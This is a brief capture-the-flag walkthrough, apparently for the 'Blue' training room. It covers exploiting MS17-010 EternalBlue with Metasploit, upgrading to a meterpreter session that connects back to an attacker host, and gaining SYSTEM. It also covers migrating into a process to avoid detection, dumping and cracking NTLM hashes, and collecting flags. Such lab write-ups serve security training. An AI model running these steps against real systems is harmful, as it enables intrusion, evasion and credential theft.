Blue
Tasks:
- Recon:
- Do nmap version scan along with vuln script to find vulnerability
nmap -sV --script vuln ip
- Vulnerable to CVE-2017-0143 or ms17-010 found.[Eternal Blue] from nmap results - Answer all questions based on this output.
- Gain Access:
- Start metasploit console , search ms17-010, use exploit/windows/smb/ms17_010_eternalblue, set RHOSTS to victim ip and run.
- Background session by pressing ctrl+z
- Escalate:
- Convert shell to meterpreter: use post/multi/manage/shell_to_meterpreter , SET LHOST to attacker ip and SESSION (backgrounded session id , use sessions -l to list sessions).
- Execute run to get meterpreter session and run
sessions -i MeterpreterSessionId to switch to meterpreter session. Run getsystem to verify we got system access and are NT AUTHORITY\SYSTEM indeed.
- Use
ps to list all process, migrate to any process running as system using migrate pid , we are injecting our meterpreter in running process to get stable and make our shell less detective.
- Cracking:
- type
hashdump in meterpreter session and obtain NTLM credential hash dump.
- Use crackstation, john or hashcat to get password of Jon.
- Find flags!:
- run
search -f flag* in meterpreter session, you will find location of flags.
- Do
cat location_of_flag for all 3 flag locations and submit the flags !!! .